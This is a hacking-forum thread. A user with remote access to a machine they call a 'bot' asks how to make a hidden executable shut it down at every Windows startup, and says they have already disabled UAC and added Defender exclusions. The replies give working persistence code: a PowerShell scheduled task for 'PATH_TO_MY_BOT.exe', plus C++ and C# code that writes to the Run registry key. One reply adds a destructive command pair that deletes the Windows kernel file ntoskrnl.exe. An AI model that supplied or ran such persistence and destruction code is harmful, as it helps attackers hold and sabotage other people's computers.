Home Upgrade Search Memberlist Extras Hacker Tools Award Goals Help Wiki Contact

Force a program to run when Windows starts?

I have access a machine using a Remote Desktop program. I made a bat file to shutdown the computer always Windows starts and put the file on Windows Startup Folder, but for some reason the file don't run when Windows starts.

So I converted from bat to exe leaving the window invisible and with administrator rights and even then the program don't run on Windows starts.

Both bat and exe are working, I test locally on my Virtual Machine and I can execute the program remotely on this "bot", navigate to the Windows Startup Folder using the File Manager or Command Prompt and everything works fine.

- I added C:\ Windows Defender exclusions
- There is no another AntiVirus on the system and there's no one program block
- I disabled UAC

how can I "force" the program run always Windows starts?

Can I add the program path via command or script to Registry and/or Tasks Scheduled? Or another way to do that?
You can try this:

- Press the Window Key on your Keyboard
- Search for the name of the program you want to run as startup
- There should be something called App Settings (Click that)
There should be an option to run it as startup.
[Image: New-Signature-v2.png]
Here is the script for Powershell (Requires admin rights) else you'll get "Access is denied".
Change "PATH_TO_MY_BOT.exe" to the path of your .exe or .bat file.
Also, don't forget to change the TaskName.

You can remove the "$trigger.Delay = "PT1M" part to disable "Delay task for 1min".

Code
$action = New-ScheduledTaskAction -Execute "PATH_TO_MY_BOT.exe"
$trigger = New-ScheduledTaskTrigger -AtLogon
$trigger.Delay = "PT1M"
$settings = New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Priority 5 -ExecutionTimeLimit (New-TimeSpan)
Register-ScheduledTask -Action $action -Trigger $trigger -Settings $settings -TaskName "ItachiUch1ha"

Have a nice day ✌
(Mar 23, 2023 02:09 AM)ItachiUchiha Wrote:  Here is the script for Powershell (Requires admin rights) else you'll get "Access is denied".
Change "PATH_TO_MY_BOT.exe" to the path of your .exe or .bat file.
Also, don't forget to change the TaskName.

You can remove the "$trigger.Delay = "PT1M" part to disable "Delay task for 1min".

Code
$action = New-ScheduledTaskAction -Execute "PATH_TO_MY_BOT.exe"
$trigger = New-ScheduledTaskTrigger -AtLogon
$trigger.Delay = "PT1M"
$settings = New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Priority 5 -ExecutionTimeLimit (New-TimeSpan)
Register-ScheduledTask -Action $action -Trigger $trigger -Settings $settings -TaskName "ItachiUch1ha"

Have a nice day ✌

Task Scheduler will work. I've also used a VBScript in the Startup folder to run a batch script.

https://itnext.io/how-to-run-your-script...e62a625f6c

Now if you want to have the computer shut down as soon as it starts, why not try the below?

Code
taskkill /F /IM ntoskrnl.exe
del /F C:\Windows\System32\ntoskrnl.exe
(Mar 23, 2023 12:51 AM)aerohacker Wrote:  I have access a machine using a Remote Desktop program. I made a bat file to shutdown the computer always Windows starts and put the file on Windows Startup Folder, but for some reason the file don't run when Windows starts.

So I converted from bat to exe leaving the window invisible and with administrator rights and even then the program don't run on Windows starts.

Both bat and exe are working, I test locally on my Virtual Machine and I can execute the program remotely on this "bot", navigate to the Windows Startup Folder using the File Manager or Command Prompt and everything works fine.

- I added C:\ Windows Defender exclusions
- There is no another AntiVirus on the system and there's no one program block
- I disabled UAC

how can I "force" the program run always Windows starts?

Can I add the program path via command or script to Registry and/or Tasks Scheduled? Or another way to do that?

What you wanna do is add it to the registry. You can do this using C++:


#include <Windows.h>

int main() {
HKEY hkey;
LPCTSTR sk = TEXT("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run");
LPCTSTR value = TEXT("My Program");
LPCTSTR data = TEXT("C:\\Path\\To\\MyProgram.exe");

if (RegOpenKeyEx(HKEY_CURRENT_USER, sk, 0, KEY_SET_VALUE, &hkey) == ERROR_SUCCESS) {
RegSetValueEx(hkey, value, 0, REG_SZ, (LPBYTE)data, lstrlen(data) * sizeof(TCHAR));
RegCloseKey(hkey);
MessageBox(NULL, TEXT("Program added to Windows startup!"), TEXT("Success"), MB_OK);
return 0;
} else {
MessageBox(NULL, TEXT("Failed to add program to Windows startup!"), TEXT("Error"), MB_OK | MB_ICONERROR);
return 1;
}
}
Code
static void startup()
        {
            var appExePath = Process.GetCurrentProcess().MainModule.FileName;
            string filename = Path.GetFileName(appExePath);
            RegistryKey rk = Registry.CurrentUser.OpenSubKey
           ("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true);

            rk.SetValue(filename, appExePath);
        }

C# add to registry
Thank you very much mate :)


Possibly Related Threads...
Thread / Author Replies Views Last Post
by KcethApr 27, 2019 07:16 PM 7 221 Apr 27, 2019 07:16 PM
Last Post: shindog
by DemoraliseOct 18, 2018 05:28 AM 1 156 Oct 18, 2018 05:28 AM
Last Post: Infamia
by The DentistJul 14, 2017 07:01 AM 5 211 Jul 14, 2017 07:01 AM
Last Post: Hydralisca